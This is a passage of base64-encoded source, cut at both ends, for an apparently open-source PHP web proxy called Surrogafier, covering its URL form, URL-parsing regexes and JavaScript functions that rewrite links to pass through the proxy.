fU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5